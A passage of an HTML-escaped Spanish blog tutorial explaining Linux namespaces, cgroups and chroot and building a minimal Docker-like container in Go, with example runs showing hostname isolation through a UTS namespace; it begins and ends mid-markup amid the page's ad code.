&#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/docker/how-does-a-docker-container-work-internally/images/namespaces-uts-en-linux.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/docker/how-does-a-docker-container-work-internally/images/namespaces-uts-en-linux.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Ejemplo de namespaces en linux&#34; width=&#34;1200&#34; height=&#34;630&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Cada namespace tiene su propio hostname y domainname&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;cgroup&#34;&gt;cgroup&lt;/h3&gt;&#xA;&lt;p&gt;En linux los cgroups limitan lo que podemos usar.&lt;/p&gt;&#xA;&lt;p&gt;Los cgroups, o grupos de control que nos provee el kernel de linux, nos permite organizar nuestros procesos en grupos, y limitar los recursos de CPU, memoria, entrada, salida, el número de procesos y los paquetes de red que genera cada uno de estos grupos.&lt;/p&gt;&#xA;&lt;p&gt;Linux toma esta configuración leyendo una serie de archivos dentro de la ruta &lt;em&gt;/sys/fs/cgroup/&lt;/em&gt;, podemos crear cgroups nuevos, o modificar los que ya existen, creando carpetas y archivos dentro de esta ubicación.&lt;/p&gt;&#xA;&lt;p&gt;Por ejemplo, usando cgroups podemos decirle a linux: &amp;ldquo;limita el número de CPUs que puede usar este proceso a uno solo, y que solo pueda usar el 20% de la capacidad de CPU, además asígnale un máximo de 1GB de RAM&amp;rdquo;.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/docker/how-does-a-docker-container-work-internally/images/cgroups-en-linux.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/docker/how-does-a-docker-container-work-internally/images/cgroups-en-linux.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Ejemplo de cgroups en linux&#34; width=&#34;1200&#34; height=&#34;630&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Los cgroups permiten limitar recursos del sistema&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;chroot&#34;&gt;Chroot&lt;/h2&gt;&#xA;&lt;p&gt;Chroot, nombre que viene de change root, le indica a Linux que debe cambiar el directorio que está usando como root a otro, esto implica que ahora tendrá otra serie de binarios, configuraciones y procesos diferentes.&lt;/p&gt;&#xA;&lt;h2 id=&#34;crear-un-container-desde-cero-con-go&#34;&gt;Crear un container desde cero con Go&lt;/h2&gt;&#xA;&lt;p&gt;Simplificando lo anterior necesitamos:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Namespaces: para aislar los procesos de nuestro container del sistema operativo principal&lt;/li&gt;&#xA;&lt;li&gt;Chroot: para dotar a nuestro container de un sistema de archivos diferente al del sistema operativo principal&lt;/li&gt;&#xA;&lt;li&gt;Cgroups: para limitar los recursos de nuestro sistema a los que nuestro container puede acceder&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Ahora vamos a crear la base del container de la misma manera que Docker, usando &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-lenguaje-de-programacion-introduccion-a-variables-y-tipos-de-datos/&#34;&gt;el lenguaje de programación Go&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;package&lt;/span&gt; main&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;fmt&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;os&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;os/exec&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// ./container.go run &amp;lt;comando&amp;gt; &amp;lt;argumentos&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;main&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#ff6ac1&#34;&gt;switch&lt;/span&gt; os.Args[&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;] {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#ff6ac1&#34;&gt;case&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;run&amp;#34;&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;&lt;span style=&#34;color:#57c7ff&#34;&gt;run&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#ff6ac1&#34;&gt;default&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;&lt;span style=&#34;color:#ff5c57&#34;&gt;panic&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;El comando no existe&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;run&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Printf&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Código ejecutándose %v con el Process Id (PID): %d \n&amp;#34;&lt;/span&gt;, os.Args[&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;:], os.&lt;span style=&#34;color:#57c7ff&#34;&gt;Getpid&lt;/span&gt;())&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;cmd &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; exec.&lt;span style=&#34;color:#57c7ff&#34;&gt;Command&lt;/span&gt;(os.Args[&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;], os.Args[&lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;:]&lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;cmd.Stdin = os.Stdin&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;cmd.Stdout = os.Stdout&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;cmd.Stderr = os.Stderr&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;cmd.&lt;span style=&#34;color:#57c7ff&#34;&gt;Run&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Te explico el código a continuación.&lt;/p&gt;&#xA;&lt;p&gt;Dentro de la función main, os.Args[1] devuelve el primer argumento del programa, en el caso de que el primer argumento sea run, ejecutará la función run. ¿Fácil no?&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;./container run &amp;lt;comando&amp;gt; &amp;lt;argumentos&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;exec.Command se encargará de ejecutar lo que le pasemos después de run, como un comando a ejecutar, junto con sus argumentos, esto puede ser un &lt;em&gt;echo&lt;/em&gt;, un &lt;em&gt;bash&lt;/em&gt;, un &lt;em&gt;ls&lt;/em&gt;, o lo que tú quieras.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;./container run &lt;span style=&#34;color:#ff5c57&#34;&gt;echo&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Hola mundo&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Código ejecutándose &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;echo&lt;/span&gt; Hola mundo&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt; con el Process Id &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;PID&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;292753&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Hola mundo&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Las siguientes lineas con el prefijo cmd se resumen en lo siguiente.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Redirigimos la entrada estándar del comando a la entrada estándar del sistema operativo.&lt;/li&gt;&#xA;&lt;li&gt;Redirigimos la salida estándar del comando a la salida estándar del sistema operativo.&lt;/li&gt;&#xA;&lt;li&gt;Redirigimos la salida de errores del comando a la salida de errores del sistema operativo.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;¿Y esto que significa? Significa que, en este proceso, todo lo que escribamos en nuestra terminal se irá directo a la entrada estándar del comando que está almacenado en cmd.&lt;/p&gt;&#xA;&lt;p&gt;Para finalizar:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;cmd.Run, ejecuta el comando que creamos con &lt;em&gt;exec.Command&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;containers-y-namespaces-en-linux&#34;&gt;Containers y namespaces en Linux&lt;/h2&gt;&#xA;&lt;p&gt;Hasta ahora contamos con un programa que crea un proceso a partir de los argumentos que le pasemos.&lt;/p&gt;&#xA;&lt;p&gt;Todo bien hasta ahora, pero tenemos un problema; no estamos usando namespaces, por lo que nuestro programa no está aislado del resto del sistema; podemos ver todos los procesos del sistema operativo principal y además estamos usando su sistema de archivos, en lugar de un sistema de archivos propio para el container.&lt;/p&gt;&#xA;&lt;p&gt;Para asignar un namespace a nuestro programa, vamos a usar el método SysProcAttr, para crear un nuevo namespace de tipo UTS.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;run&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Printf&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Código ejecutándose %v con el Process Id (PID): %d \n&amp;#34;&lt;/span&gt;, os.Args[&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;:], os.&lt;span style=&#34;color:#57c7ff&#34;&gt;Getpid&lt;/span&gt;())&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;cmd &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; exec.&lt;span style=&#34;color:#57c7ff&#34;&gt;Command&lt;/span&gt;(os.Args[&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;], os.Args[&lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;:]&lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;cmd.Stdin = os.Stdin&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;cmd.Stdout = os.Stdout&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;cmd.Stderr = os.Stderr&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;cmd.SysProcAttr = &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;amp;&lt;/span&gt;syscall.SysProcAttr{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;Cloneflags: syscall.CLONE_NEWUTS,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;cmd.&lt;span style=&#34;color:#57c7ff&#34;&gt;Run&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Como se lee en la lista de los namespaces, UTS es el namespace para aislar hostname y nombres de dominio.&lt;/p&gt;&#xA;&lt;h3 id=&#34;namespace-uts&#34;&gt;Namespace UTS&lt;/h3&gt;&#xA;&lt;p&gt;Tras establecer el &lt;em&gt;Cloneflags&lt;/em&gt;, cualquier cambio que le hagamos al hostname se realizará solo dentro del namespace. En otras palabras, los cambios dentro de nuestro container no afectarán nada fuera de este.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Hostname original&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;hostname&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;tuHostNameOriginal&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Cambiando el hostname dentro del container&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;./container run /bin/bash&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;hostname otroNombre&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# El hostname cambió dentro del container&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;hostname&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;otroNombre&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Salimos del container&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;exit&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# El hostname original NO cambió&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span 